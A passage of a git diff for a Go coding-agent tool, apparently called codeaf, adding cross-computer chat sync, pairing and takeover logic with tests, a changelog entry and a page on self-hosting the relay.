err := identity.EndSolo(home.Dir()); err != nil { // what an approval does + t.Fatal(err) + } + if err := toolCallOn(t, seated.Seat, cfg.Place.Workspace); err != nil { + t.Fatal(err) + } + syncDrives.closeAll() + + s, ok, err := syncsetup.Open(home.Dir()) + if err != nil || !ok { + t.Fatalf("Open = %v, %v", ok, err) + } + head, _ := cellstore.Head(c) + v, err := s.Dir.Cell(context.Background(), c.ID) + if err != nil || v.Cell.Head != head.Turn.ID { + t.Fatalf("directory head %q (%v), want the chat's %q", v.Cell.Head, err, head.Turn.ID) + } +} + +// One predicate, four states, the drive paths: startDrive and liveDrive agree +// with syncsetup.MayTalk. +func TestDrivePathsFollowMayTalk(t *testing.T) { + cases := []struct { + name string + setup func(dir string) + talk bool + }{ + {"no identity", func(string) {}, false}, + {"solo", func(d string) { _, _ = identity.EnsureSolo(d) }, false}, + {"paired", func(d string) { _, _ = identity.Ensure(d) }, true}, + {"engaged", func(d string) { _, _ = identity.EnsureSolo(d); _ = identity.EndSolo(d) }, true}, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + cfg, c := doorChat(t) + srv := httptest.NewServer(relayserve.New(relayserve.Config{Store: t.TempDir()}).Handler) + t.Cleanup(srv.Close) + t.Setenv(syncsetup.URLVar, srv.URL) + tc.setup(home.Dir()) + if got := syncsetup.MayTalk(home.Dir()); got != tc.talk { + t.Fatalf("MayTalk = %v, want %v", got, tc.talk) + } + d, err := startDrive(c, cellstore.EngineFor(""), func(error) {}) + if (d != nil) != tc.talk { + t.Fatalf("startDrive drive=%v err=%v, want drive %v", d != nil, err, tc.talk) + } + if d != nil { + _ = d.Close(context.Background()) + } + _ = cfg + }) + } +} + +// A computer with no identity is waiting, not failing to seal: with the hosted default every fresh +// computer is in that state, and it must not show a failing seal on its first launch. +func TestStartDriveWithNoIdentityReportsNothing(t *testing.T) { + t.Setenv("CODEAF_HOME", t.TempDir()) + t.Setenv(syncsetup.URLVar, "") + var reported []error + d, err := startDrive(cell.Cell{}, cellstore.Engine{}, func(e error) { reported = append(reported, e) }) + if d != nil || !errors.Is(err, syncsetup.ErrNoIdentity) { + t.Fatalf("startDrive = %v, %v; want no drive and ErrNoIdentity", d, err) + } + if len(reported) != 0 { + t.Fatalf("waiting for an identity was reported as a seal outcome: %v", reported) + } +} + +// A chat that was moved to another computer and then moved back opens here with a drive side of +// its own. The drive side kept from before the move only shows the chat, so reusing it would +// refuse every tool call in the chat that was moved back. +func TestAChatMovedBackGetsADriveSideOfItsOwn(t *testing.T) { + cfg, c := doorChat(t) + srv := httptest.NewServer(relayserve.New(relayserve.Config{Store: t.TempDir()}).Handler) + t.Cleanup(srv.Close) + t.Setenv(syncsetup.URLVar, srv.URL) + t.Setenv(syncsetup.IntervalVar, "50") + first := home.Dir() + id, err := identity.Ensure(first) + if err != nil { + t.Fatal(err) + } + seated := v3Seated(cfg) + if err := toolCallOn(t, seated.Seat, cfg.Place.Workspace); err != nil { + t.Fatal(err) + } + firstBook := syncDrives + + // The second computer, one identity with the first, opens the chat while the first drives it. + second := t.TempDir() + blob, err := identity.Export(id, "p") + if err != nil { + t.Fatal(err) + } + moved, err := identity.Import(blob, "p") + if err != nil { + t.Fatal(err) + } + if _, err := identity.Adopt(second, moved, false); err != nil { + t.Fatal(err) + } + t.Setenv(home.EnvVar, second) + syncDrives = &driveBook{} + t.Cleanup(func() { syncDrives = firstBook }) + engine := cellstore.EngineFor(cfg.Place.Workspace) + viewing := syncDrives.driveOf(c, engine, func(error) {}) + if viewing == nil || viewing.started() == nil { + t.Fatal("the second computer made no drive side") + } + if _, viewer := viewing.started().Viewer(); !viewer { + t.Skip("the first computer did not hold the lease yet") + } + + // The first computer lets the chat go; opening it again here must drive it. + t.Setenv(home.EnvVar, first) + firstBook.closeAll() + t.Setenv(home.EnvVar, second) + again := syncDrives.driveOf(c, engine, func(error) {}) + if again == viewing { + t.Fatal("the drive side that only showed the chat was reused") + } + if line := again.Gate(); line != nil { + t.Fatalf("a chat opened after it was moved back is refused: %v", line) + } +} + +// A chat that another computer took and that was then taken back here, with no word reaching the +// drive side this window kept, opens with a drive side of its own: the old one publishes under a +// lease that is gone, so reusing it would refuse every tool call in the chat that came back. +func TestAChatTakenAndTakenBackGetsADriveSideOfItsOwn(t *testing.T) { + cfg, c := doorChat(t) + srv := httptest.NewServer(relayserve.New(relayserve.Config{Store: t.TempDir()}).Handler) + t.Cleanup(srv.Close) + t.Setenv(syncsetup.URLVar, srv.URL) + t.Setenv(syncsetup.IntervalVar, "50") + first := home.Dir() + id, err := identity.Ensure(first) + if err != nil { + t.Fatal(err) + } + seated := v3Seated(cfg) + if err := toolCallOn(t, seated.Seat, cfg.Place.Workspace); err != nil { + t.Fatal(err) + } + kept := syncDrives.drive[c.ID] + + second := t.TempDir() + blob, err := identity.Export(id, "p") + if err != nil { + t.Fatal(err) + } + moved, err := identity.Import(blob, "p") + if err != nil { + t.Fatal(err) + } + if _, err := identity.Adopt(second, moved, false); err != nil { + t.Fatal(err) + } + force := func(dir string) { + t.Helper() + s, ok, err := syncsetup.Open(dir) + if err != nil || !ok { + t.Fatalf("Open(%s) = %v, %v", dir, ok, err) + } + if _, err := s.Dir.Acquire(context.Background(), c.ID, directory.AcquireOpts{Force: true}); err != nil { + t.Fatal(err) + } + } + force(second) // the other computer takes the chat + force(first) // and it is taken back here, as a take does + + again := syncDrives.driveOf(c, cellstore.EngineFor(cfg.Place.Workspace), func(error) {}) + if again == kept { + t.Fatal("the drive side whose lease was taken was reused") + } + if err := again.Gate(); err != nil { + t.Fatalf("a chat taken back is refused: %v", err) + } +} + +// A chat in the middle of its takeover here is not opened: the session would +// read the journal as it was before the swap. The door says so, builds nothing, +// and opens the chat once the takeover is over. +func TestAChatBeingTakenIsNotOpened(t *testing.T) { + cfg, _ := doorChat(t) + opened := 0 + open := func(session.Config) (*session.Agent, error) { opened++; return nil, errors.New("stop here") } + release := handoff.Arrive(cfg.Place.Dir) + if _, _, _, err := openV3Agent(cfg, cfg.Place.Workspace, open); err == nil || err.Error() != chatArrivingSentence { + t.Fatalf("a chat being taken was opened or refused in other words: %v", err) + } + if opened != 0 { + t.Fatal("a session was built for a chat that is being taken") + } + release() + _, _, _, _ = openV3Agent(cfg, cfg.Place.Workspace, open) + if opened != 1 { + t.Fatal("the chat did not open after its takeover ended") + } +} diff --git a/cmd/codeaf/syncstanding_test.go b/cmd/codeaf/syncstanding_test.go new file mode 100644 index 0000000000..de093e964b --- /dev/null +++ b/cmd/codeaf/syncstanding_test.go @@ -0,0 +1,130 @@ +package main + +import ( + "context" + "sync" + "testing" + + "github.com/Agent-Field/codeaf/internal/chatlist" + "github.com/Agent-Field/codeaf/internal/dirwatch" + "github.com/Agent-Field/codeaf/internal/tui3" + + "github.com/Agent-Field/codeaf/internal/directory" + "github.com/Agent-Field/codeaf/internal/identity" + "github.com/Agent-Field/codeaf/internal/wireauth" +) + +// countingDir answers every listing as a relay that has stopped this device, +// and counts how often it was asked. +type countingDir struct { + directory.Client + asked int +} + +func (c *countingDir) List(context.Context) (directory.Listing, error) { + c.asked++ + return directory.Listing{}, wireauth.ErrRevoked +} + +func TestCheckStandingAsksOnlyASharedHome(t *testing.T) { + cases := []struct { + name string + shared bool + asked int + said int + }{{"solo home sends nothing", false, 0, 0}, {"shared home asks once and says so", true, 1, 1}} + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + home := t.TempDir() + if _, err := identity.EnsureSolo(home); err != nil { + t.Fatal(err) + } + if tc.shared { + if err := identity.EndSolo(home); err != nil { + t.Fatal(err) + } + } + dir, lines := &countingDir{}, []string{} + checkStanding(home, dir, func(l string) { lines = append(lines, l) }) + if dir.asked != tc.asked || len(lines) != tc.said { + t.Errorf("asked %d said %v, want %d and %d lines", dir.asked, lines, tc.asked, tc.said) + } + }) + } +} + +// fakeFeed is a follower the test drives: set the state, then signal. +type fakeFeed struct { + dirwatch.Follower + mu sync.Mutex + state dirwatch.State + changes chan struct{} + closed bool +} + +func newFakeFeed() *fakeFeed { return &fakeFeed{changes: make(chan struct{}, 4)} } + +func (f *fakeFeed) State() dirwatch.State { + f.mu.Lock() + defer f.mu.Unlock() + return f.state +} +func (f *fakeFeed) Changes() <-chan struct{} { return f.changes } +func (f *fakeFeed) Close() { f.closed = true } + +func (f *fakeFeed) refuse(err error) { + f.mu.Lock() + f.state.Refused = err + f.mu.Unlock() + f.changes <- struct{}{} +} + +func sharedHome(t *testing.T) string { + t.Helper() + home := t.TempDir() + if _, err := identity.EnsureSolo(home); err != nil { + t.Fatal(err) + } + if err := identity.EndSolo(home); err != nil { + t.Fatal(err) + } + return home +} + +func TestARevokedSocketIsSaidOnceWhileTheAppRuns(t *testing.T) { + feed := newFakeFeed() + desk := tui3.NewNotices() + var lines []string + say := func(l string) { lines = append(lines, l); desk.SayOnce(l) } + done := make(chan struct{}) + go func() { watchStanding(sharedHome(t), func() dirwatch.Follower { return feed }, say); close(done) }() + feed.changes <- struct{}{} // a presence change is not a refusal + feed.refuse(dirwatch.ErrRevoked) + <-done + // the first refused request finds out the same thing a moment later + sayRefusalTo(desk.SayOnce, wireauth.ErrRevoked) + if len(lines) != 1 || lines[0] != chatlist.Removed { + t.Fatalf("said %q, want the removed sentence once", lines) + } + if !feed.closed { + t.Error("the listener kept the feed after the refusal") + } +} + +func TestAFeedAlreadyRefusedIsSaidAtOnce(t *testing.T) { + feed := newFakeFeed() + feed.state.Refused = dirwatch.ErrRotated + var lines []string + watchStanding(sharedHome(t), func() dirwatch.Follower { return feed }, func(l string) { lines = append(lines, l) }) + if len(lines) != 1 || lines[0] != chatlist.Replaced { + t.Fatalf("said %q, want the replaced sentence", lines) + } +} + +func TestASoloHomeOpensNoSocketToListen(t *testing.T) { + home := t.TempDir() + if _, err := identity.EnsureSolo(home); err != nil { + t.Fatal(err) + } + watchStanding(home, func() dirwatch.Follower { t.Fatal("a solo home followed the feed"); return nil }, nil) +} diff --git a/cmd/codeaf/synctake.go b/cmd/codeaf/synctake.go new file mode 100644 index 0000000000..009a7065f2 --- /dev/null +++ b/cmd/codeaf/synctake.go @@ -0,0 +1,151 @@ +package main + +import ( + "context" + "errors" + "os" + "path/filepath" + "time" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/cellstore" + "github.com/Agent-Field/codeaf/internal/devname" + "github.com/Agent-Field/codeaf/internal/directory" + "github.com/Agent-Field/codeaf/internal/dirwatch" + "github.com/Agent-Field/codeaf/internal/guard" + "github.com/Agent-Field/codeaf/internal/home" + "github.com/Agent-Field/codeaf/internal/syncsetup" + "github.com/Agent-Field/codeaf/internal/tui3" + "github.com/Agent-Field/codeaf/internal/wireauth" +) + +// surfaceNotices is the one desk the sync side puts its sentences on for the +// surface to say at once: another machine took the chat over, the clock is off. +// The drive side and the take side both speak through it (tui3/notices.go). +var surfaceNotices = tui3.NewNotices() + +// wireSync gives the surface everything that needs a relay: the chats on other +// machines, `continue here`, and what a branch row can do. With sync off, or +// when it cannot start, it adds nothing and the home screen must not fail to +// start over a relay setting: every seam stays nil, and a nil seam is absent. +func wireSync(o *tui3.Options) { + if o.Notices == nil { + o.Notices = surfaceNotices + } + s, err := syncOfFirst() + if err != nil { + return + } + if o.Machines == nil { + o.Machines = s + } + if o.Fleet == nil { + o.Fleet = s + } + if o.Takeover == nil { + o.Takeover = takeover{s.Continuer(cellstore.EngineFor(""), syncsetup.TakeOptions{ + DeviceName: deviceName(), + RootFor: takeRootFor, + Notify: surfaceNotices.Say, + })} + } + // THERE IS NO MERGE: a branch row says `discard` alone (cell_branch.go). + if o.Branches.Discard == nil { + o.Branches = tui3.BranchActions{Discard: s.Discard} + } + guard.Go("sync/standing", func() { checkStanding(s.Home, s.Dir, surfaceNotices.SayOnce) }) + guard.Go("sync/standing-live", func() { watchStanding(s.Home, s.Follow, surfaceNotices.SayOnce) }) +} + +// standingWithin bounds the launch-time check so a silent relay costs nothing. +const standingWithin = 15 * time.Second + +// checkStanding asks the directory once at launch whether this device is still +// let in, and says the refusal (removed from the fleet, replaced) as soon as the +// surface is up. A conversation that is only resumed, and so has no drive side +// yet, would otherwise open as if nothing were wrong until its first message. +// A solo identity (made here, never shared) cannot have been stopped, so it +// asks nothing: a fresh install sends the sync service no request on its own. +func checkStanding(dir string, d directory.Client, say func(string)) { + if !syncsetup.MayTalk(dir) { + return + } + ctx, cancel := context.WithTimeout(context.Background(), standingWithin) + defer cancel() + _, err := d.List(ctx) + sayRefusalTo(say, err) +} + +// watchStanding keeps listening, for as long as the app runs, for the relay +// ending this device's socket as removed or replaced, and says it the moment it +// happens, in the open chat and on home alike, without waiting for a restart or +// the next refused request. The same quiet law as checkStanding: a home that +// cannot talk to anyone holds no socket. The feed stops reconnecting after a +// refusal, so the listener ends there too. +func watchStanding(dir string, follow func() dirwatch.Follower, say func(string)) { + if !syncsetup.MayTalk(dir) { + return + } + f := follow() + if f == nil { + return + } + defer f.Close() + for refused(f) == nil { + if _, open := <-f.Changes(); !open { + return + } + } + sayRefusalTo(say, standingRefusal(refused(f))) +} + +// refused is the final refusal the feed ended with, nil while it is not ended. +func refused(f dirwatch.Follower) error { return f.State().Refused } + +// standingRefusals maps the feed's final refusals to the wire's, so the one +// table of sentences (cellsync.refusals) is the only place they are written. +var standingRefusals = []struct{ feed, wire error }{ + {dirwatch.ErrRevoked, wireauth.ErrRevoked}, + {dirwatch.ErrRotated, wireauth.ErrRotated}, +} + +func standingRefusal(err error) error { + for _, r := range standingRefusals { + if errors.Is(err, r.feed) { + return r.wire + } + } + return err +} + +// takeover is the surface's Taker over the take side: what a takeover reports, +// in the shape the surface knows. +type takeover struct{ c *syncsetup.Continuer } + +var _ tui3.Taker = takeover{} + +func (t takeover) Take(ctx context.Context, id string) (tui3.Taken, error) { + began := time.Now() + got, err := t.c.Take(ctx, id) + elapsed := time.Since(began) + if err != nil { + return tui3.Taken{}, err + } + return tui3.Taken{Kept: got.Taken.Kept, KeptTurns: got.KeptTurns, Device: got.Device, TaskCopies: got.TaskCopies, Resume: got.Resume, Transcript: filepath.Join(got.Taken.Cell.Root, cell.TranscriptPath), Elapsed: elapsed}, nil +} + +// takeRootFor is where this machine keeps the chat with an id: the folder it +// already has, found where a chat keeps it, and otherwise a folder in the +// bucket of chats that belong to no project, where a chat that arrives from +// another machine is at home. +func takeRootFor(id string) string { + if c, err := openCellByID(id); err == nil { + return c.Root + } + here, _ := os.UserHomeDir() + return filepath.Join(home.Join("v3", "projects", encodeWorkspace(here)), id) +} + +// deviceName is what this machine is called in a sentence about it: the name a +// person gave it, else its host name. +func deviceName() string { return devname.Name(home.Dir()) } diff --git a/cmd/codeaf/synctake_test.go b/cmd/codeaf/synctake_test.go new file mode 100644 index 0000000000..4ea1bde0e9 --- /dev/null +++ b/cmd/codeaf/synctake_test.go @@ -0,0 +1,84 @@ +package main + +import ( + "path/filepath" + "testing" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/home" + "github.com/Agent-Field/codeaf/internal/identity" + "github.com/Agent-Field/codeaf/internal/session" + "github.com/Agent-Field/codeaf/internal/syncsetup" + "github.com/Agent-Field/codeaf/internal/tui3" +) + +// With no relay set the surface gets the notice desk and nothing else: every +// other seam stays nil, and a nil seam is an absent verb, never a broken one. +func TestWireSyncOffAddsOnlyTheDesk(t *testing.T) { + t.Setenv(home.EnvVar, t.TempDir()) + t.Setenv(syncsetup.URLVar, "off") + var o tui3.Options + wireSync(&o) + if o.Machines != nil || o.Takeover != nil || o.Branches.Discard != nil || o.Branches.Merge != nil { + t.Fatalf("sync off wired %+v", o) + } + if o.Notices == nil { + t.Fatal("the notice desk is missing") + } +} + +// With a relay and an identity the surface can list, continue and discard, and +// it offers no merge. +func TestWireSyncOnWiresTheTakeSide(t *testing.T) { + h := t.TempDir() + t.Setenv(home.EnvVar, h) + t.Setenv(syncsetup.URLVar, "http://127.0.0.1:1") + if _, err := identity.Ensure(h); err != nil { + t.Fatal(err) + } + var o tui3.Options + wireSync(&o) + if o.Machines == nil || o.Takeover == nil || o.Branches.Discard == nil { + t.Fatalf("sync on wired %+v", o) + } + if o.Branches.Merge != nil { + t.Fatal("a merge is offered and there is none") + } +} + +// A chat this machine already has is taken back into the folder it is in; one +// it has never seen gets a folder in the bucket of chats with no project. +func TestTakeRootForFindsTheFolderAChatIsIn(t *testing.T) { + h := t.TempDir() + t.Setenv(home.EnvVar, h) + t.Setenv("HOME", t.TempDir()) + bucket := filepath.Join(h, "v3", "projects", "-work-project") + c, err := cell.CreateIn(bucket, cell.Options{Class: cell.HostBound}) + if err != nil { + t.Fatal(err) + } + if got := takeRootFor(c.ID); got != c.Root { + t.Fatalf("takeRootFor(%s) = %s, want the folder it is in, %s", c.ID, got, c.Root) + } + const stranger = "01J0000000000000000000000Z" + if got := takeRootFor(stranger); filepath.Base(got) != stranger || filepath.Dir(filepath.Dir(got)) != filepath.Join(h, "v3", "projects") { + t.Fatalf("a new chat is kept at %s, want a bucket under v3/projects", got) + } +} + +// The title a chat publishes is the one its session record has now. +func TestChatTitleIsTheSessionsTitle(t *testing.T) { + c, err := cell.CreateIn(t.TempDir(), cell.Options{Class: cell.HostBound}) + if err != nil { + t.Fatal(err) + } + if got := chatTitle(c); got != "" { + t.Fatalf("a chat nothing named has title %q", got) + } + if err := session.SaveMeta(c.Root, session.Meta{ID: c.ID, Title: "Port the picker"}); err != nil { + t.Fatal(err) + } + if got := chatTitle(c); got != "Port the picker" { + t.Fatalf("chatTitle = %q", got) + } +} diff --git a/cmd/codeaf/syncwire.go b/cmd/codeaf/syncwire.go new file mode 100644 index 0000000000..7bd164b459 --- /dev/null +++ b/cmd/codeaf/syncwire.go @@ -0,0 +1,33 @@ +package main + +import ( + "errors" + + "github.com/Agent-Field/codeaf/internal/chatlist" + "github.com/Agent-Field/codeaf/internal/home" + "github.com/Agent-Field/codeaf/internal/syncsetup" +) + +// syncListSource is the chat list's source for the headless verb. With no +// relay set it says sync is off, and with a relay but no identity it says so: +// two causes, two sentences, so the person is told what to do. +func syncListSource() (chatlist.Source, error) { return syncOf() } + +// syncOf is the sync of this machine, or the sentence that says why there is +// none. +func syncOf() (*syncsetup.Sync, error) { return syncFrom(syncsetup.Open) } + +// syncOfFirst is syncOf for the app's own launch, where a machine with a relay +// and no identity is the first machine and makes one. +func syncOfFirst() (*syncsetup.Sync, error) { return syncFrom(syncsetup.OpenFirst) } + +func syncFrom(open func(string) (*syncsetup.Sync, bool, error)) (*syncsetup.Sync, error) { + s, ok, err := open(home.Dir()) + if err != nil { + return nil, err + } + if !ok { + return nil, errors.New(chatlist.SyncOff) + } + return s, nil +} diff --git a/cmd/codeaf/usage.go b/cmd/codeaf/usage.go index 3178d73033..8c6f5bcece 100644 --- a/cmd/codeaf/usage.go +++ b/cmd/codeaf/usage.go @@ -339,11 +339,7 @@ func breakLong(word string, width int) []string { // cache clean` are one noun with two verbs on it, not one word meaning two // things, and without this entry `codeaf cache --help` would print the // destructive command's line under the harmless one's name. -// `devices revoke` is the same shape as `cache clean` and is here for the same -// reason: one noun, a harmless reading verb and a destructive one, and without -// the entry `codeaf devices --help` would print the revoking line under the -// listing's name. -var longerCommands = []string{"cache clean", "devices revoke"} +var longerCommands = []string{"cache clean"} // usageForCommand lifts one command's lines out of [usageText]. // @@ -507,7 +503,7 @@ func commandWords() []string { // reason they are absent from the usage text: nothing types them. The programs // this build carries are joined to it where it is read ([commandWords]). var knownCommands = []string{ - "chat", "resume", "serve", "devices", "do", "plan", "revise", "run", "exec", + "chat", "resume", "pair", "serve", "devices", "do", "plan", "revise", "run", "exec", "show", "models", "pool", "notebook", "collections", "competence", "services", "wake", "patch", "doc", "web", "image", "doctor", diff --git a/cmd/codeaf/why.go b/cmd/codeaf/why.go index 2ec0eb17ab..8454d39924 100644 --- a/cmd/codeaf/why.go +++ b/cmd/codeaf/why.go @@ -23,7 +23,7 @@ func runWhyTo(args []string, output io.Writer, now time.Time) error { return err } if flags.NArg() != 1 { - return fmt.Errorf("usage: codeaf why self| [--db path]") + return fmt.Errorf("usage: codeaf why self| [--db path]") } path, err := expandHome(strings.TrimSpace(*database)) if err != nil { diff --git a/cmd/relay/main.go b/cmd/relay/main.go index 02480a7a2a..3bc9e7a780 100644 --- a/cmd/relay/main.go +++ b/cmd/relay/main.go @@ -1,5 +1,6 @@ // Command relay is the codeaf relay: a blind pipe between a machine that runs -// codeaf and a machine somebody is sitting at. +// codeaf and a machine somebody is sitting at, and, given --store, the +// directory and blob store a person's machines share. // // IT IS A SEPARATE BINARY BECAUSE IT IS A SEPARATE THING. Nothing in it imports // the session, the surface, or the wire they speak; it cannot open a frame and @@ -8,66 +9,21 @@ // import away from being able to read what it forwards. // // It is also what internal/pair's own tests drive, which is the other reason it -// exists: the end-to-end story — a machine registering, a device pairing, a -// conversation crossing — is tested against this exact service and not against -// a stub of it. +// exists: the end-to-end story is tested against this exact service and not +// against a stub of it. `codeaf relay` runs the same relayserve.Main. // -// relay --listen :8787 -// -// In front of it in production goes whatever already terminates TLS. The relay -// reads X-Forwarded-For when it is there, so its rate limits count the caller -// and not the load balancer. +// relay --listen :8787 [--store /var/lib/codeaf] package main import ( - "encoding/json" - "flag" "fmt" - "log" - "net/http" "os" - "time" - "github.com/Agent-Field/codeaf/internal/relay" + "github.com/Agent-Field/codeaf/internal/relayserve" ) func main() { - listen := flag.String("listen", ":8787", "address to listen on") - quiet := flag.Bool("quiet", false, "do not log arrivals and departures") - status := flag.Bool("status", true, "answer GET /status with what is connected right now") - flag.Parse() - - service := &relay.Server{} - if !*quiet { - // WHAT A RELAY OPERATOR MAY LOG IS WHAT A RELAY OPERATOR CAN SEE, and - // that is a machine name and a moment. There is no payload to log here - // and no argument in this file that could carry one. - service.Note = func(name, what string) { log.Printf("%s %s", name, what) } - } - - mux := http.NewServeMux() - mux.Handle(relay.EnginePath, service) - mux.Handle(relay.DialPrefix, service) - if *status { - mux.HandleFunc("/status", func(w http.ResponseWriter, r *http.Request) { - w.Header().Set("Content-Type", "application/json") - _ = json.NewEncoder(w).Encode(service.Ledgers()) - }) - } - - server := &http.Server{ - Addr: *listen, - Handler: mux, - // READ AND WRITE TIMEOUTS ARE DELIBERATELY ABSENT. Every connection - // this service accepts is meant to be held open for hours, and a write - // timeout on a hijacked connection is a conversation cut in half. - // The bounds that matter are in the package: a registration must finish - // its handshake within relay.HandshakeWithin, and a carrier that stops - // answering pings is dropped at relay.IdleAfter. - ReadHeaderTimeout: 20 * time.Second, - } - log.Printf("relay on %s, speaking %s", *listen, relay.Protocol) - if err := server.ListenAndServe(); err != nil { + if err := relayserve.Main(os.Args[1:]); err != nil { fmt.Fprintln(os.Stderr, "relay:", err) os.Exit(1) } diff --git a/docs/HEADLESS.md b/docs/HEADLESS.md index 982f485dc0..7410023288 100644 --- a/docs/HEADLESS.md +++ b/docs/HEADLESS.md @@ -16,7 +16,7 @@ schema, and a person needs to know which command actually thinks. ``` codeaf do "" [--dir dir] [--db path] [--keep] [--timeout D] - [--json] [--yes-spend] [--model slug] [--plan-model slug] + [--continue id] [--json] [--yes-spend] [--model slug] [--plan-model slug] [--check-model slug] [--best|--cheap] [--pin seat=model[@provider]] [--context-fill N] [--completion-reserve N] ``` @@ -39,6 +39,7 @@ work done. | `--dir dir` | the current directory | The directory it works in, **edited in place**. Not an output folder — it opens what is there and leaves nothing behind that you did not ask for. `-w` is the shorthand and keeps working forever. | | `--db path` | a private temp store, deleted on exit | Work in this durable store instead. This is how state survives across runs. | | `--keep` | off | Keep the private store instead of deleting it; the path is printed to stderr. | +| `--continue id` | none | Carry on a kept run (one that did not finish, or was kept with `--keep`): `id` is the part of the `record kept at` folder name after `codeaf-do-`, an unambiguous start of it, or the folder path. Words after it are this round's finding; the assignment is unchanged. Works in `--dir`. Run engine only. | | `--timeout D` | `15m` | Hard wall, as a duration with a unit: `5m`, `2h`, `90s`. A bare number is still read as seconds for one release, so `--timeout 900` keeps working. A wall, not a schedule — the length of rope at which a wedged run is more useful dead. | | `--json` | off | Print one machine-readable object instead of the prose deliverable. | | `--yes-spend` | off | Spend past today's limit and past the plan-price question, without stopping to ask. The same flag with the same one sentence on `codeaf plan run`. Equivalent to `CODEAF_PREAUTHORIZE_SPEND=1`. It does not lift the per-task limit (`/crew cap task`, $5 unless set). | diff --git a/docs/changes/unreleased/1738-two-computers-pair-and-continue.md b/docs/changes/unreleased/1738-two-computers-pair-and-continue.md new file mode 100644 index 0000000000..ed74536ec0 --- /dev/null +++ b/docs/changes/unreleased/1738-two-computers-pair-and-continue.md @@ -0,0 +1,22 @@ +--- +kind: added +title: two computers pair with a link and a chat continues on the other one with its files and history +pr: 1738 +surface: [chat, engine, remote, docs] +invalidates: + - "A chat belonged to the computer that started it. Another computer could not list it, open it or carry it on. Now a paired computer lists the chat on its home screen with the name of the computer it runs on, and choosing 'continue here' moves it with its files, history, tool output and task records, so the agent can answer from what it did. Moving chats is on with no setting; a person who never pairs sends nothing, and `CODEAF_CELLS=0` turns cells off." + - "The way to add a second computer was the six-digit code typed on both. Now the new computer runs `codeaf pair` and prints a link and a four-digit check number; a computer already in use approves it from the home screen card or with `codeaf pair approve`. The six-digit code still works." + - "A computer was known to other computers only by its host name. It can now be named: `codeaf pair --name`, `codeaf devices rename` or the n key in /devices, and every screen that names a device uses that name." + - "Sync did nothing until a relay was set. With no setting it now goes to the hosted service; `codeaf relay` runs your own and one setting points codeaf at it." + - "A computer that froze or lost its network could show as online for minutes. A paired computer that has not answered for 25 seconds now shows as offline, within 30 seconds of its last answer, and shows online again as soon as it answers." + - "A moved chat's task journals were capped like job logs. Each task's transcript, trajectory and saved output now travels whole with the chat, with no size limit; only job logs and saved tool output keep the 1 MiB per file and 16 MiB together caps." + - "A `models.fallbacks` list naming only the model that was failing was read as no list, so codeaf sent the turn to other models it picked. It is now a pin: no other model is used, codeaf asks that model again a bounded number of times, then ends the turn and says what failed." + - "Opening a chat on a computer while it was still arriving there could open a half-arrived copy. It now shows `this chat is arriving on this computer; it opens by itself in a moment`, and the chat opens by itself when it has arrived." + - "A wrong or expired pairing code could leave the new computer waiting with no word. It now always ends with a sentence: `that code did not work, or it timed out; ask for a new one`, or `the other device stopped pairing; run /pair there again`." + - "When a model you named for a task, or pinned to the checking role, failed, codeaf could move the work to a model it guessed from that computer's own catalog, so two computers could pick differently. Now that work stays on your model, or moves only to a model you wrote in `models.fallbacks`; the guess is used only when you picked nothing and wrote no fallback list." + - "The job logs codeaf writes in a task's working copy moved with the chat and came back on the other computer as if you had edited them. They now stay behind; a file you made in that copy still moves." + - "A test run left its engine daemons (`furrow serve`) running after it finished, and a daemon could hold open files its starter was handed, such as a lock taken by a wrapper script. Now the test binaries of cmd/codeaf, internal/session and internal/tui3 stop every daemon they started before they exit, and a daemon started under a test exits after one idle minute if its test run crashed. Any daemon codeaf starts now inherits only stdin, stdout and stderr. The daemon a person's own codeaf starts still outlives it, as before." + - "The hosted relay drew a pairing number again the moment its mailbox was released, so a device still waiting on the old code could find a new, live mailbox under the same number and wait there until its own timeout. A released or expired number is now held back for ten minutes, and every mailbox carries a random generation that the device sends back, so a device from an earlier pairing is told the code is gone. Old builds send no generation and keep working. The self-hosted relay does not name generations yet." + - "The hosted relay let one network make 20 new identities a day, counted by whole IPv6 address, and a refused computer was told only that the network had started too many, with no time. Now the limit is 200 a day, an IPv6 network counts by its /64, for the pairing limits too (an IPv4-mapped address counts as its IPv4 address), the refusal carries the seconds until that network's day ends in `Retry-After` and in a `retry_after` field, and the chat says `too many new identities from this network today — try again in about 3 hours`." + - "Restoring or deleting a withheld file could follow a symlinked parent outside the chat workspace; capturing that file could also read outside secrets. Vault file operations now resolve beneath opened directory handles, including when a parent name is replaced during the operation, and keep outside files untouched. In-root symlinks that stay within the opened root can still resolve; this is confinement, not a blanket ban on symlinks." +--- diff --git a/docs/relay.md b/docs/relay.md new file mode 100644 index 0000000000..eb30455dbc --- /dev/null +++ b/docs/relay.md @@ -0,0 +1,64 @@ +# Running your own relay + +The relay is the service your computers sync and pair through. It stores ciphertext and +sees the short list of metadata in the manual page "What the relay stores and what it can +see". This page is for the person who runs one. + +## Run + +``` +codeaf relay --listen :8787 --store /var/lib/codeaf +``` + +`relay --listen :8787 --store /var/lib/codeaf` (the separate `relay` binary) is the same program. + +| Flag | Meaning | +|---|---| +| `--listen` | address to listen on, default `:8787` | +| `--store ` | where the directory and the chunks live. Empty runs the blind pipe and pairing only: no chats are kept | +| `--quiet` | no log lines | +| `--status=false` | do not answer `GET /status` | +| `--trust-proxy` | count the first `X-Forwarded-For` address as the caller's network in the pairing limits. Only behind a proxy that sets it | + +Point each computer at it with `CODEAF_SYNC_URL=https://relay.example.com`, or pass +`--relay` to `codeaf pair`. + +The relay has no TLS and no allow-list. Put a TLS-terminating proxy in front of it, and keep +it on a private network or behind a proxy that checks who calls: any valid signature may make +an identity and store on it. It has no quota of its own, so the disk is the limit. + +It logs the first 8 characters of an identity id, the kind of request, the status and two +byte counts. Never a body. + +## Back up + +Everything is under `--store`: + +- `directory/.db`: one SQLite file for each identity (chat records, device records, leases); +- `blobs//`: that identity's chunks and the pointers that find an object inside one. + +Stop the relay (SIGTERM; requests under way finish) and copy the whole folder, or copy a +filesystem snapshot. Copying the `.db` files while the relay runs can give a torn copy. +Restore by putting the folder back +and starting the relay. A restore to an older copy loses turns sent after it; a computer that +still holds them sends them again at its next sync (not tested here). + +The relay cannot decrypt what it keeps, so its backup is ciphertext too. It holds no key that +could recover a lost identity. + +## Upgrade + +Stop it, replace the `codeaf` binary, start it with the same `--store`. There is no migration command, and this page does not promise that every version reads an older store: back up first. A client newer than the +relay by a 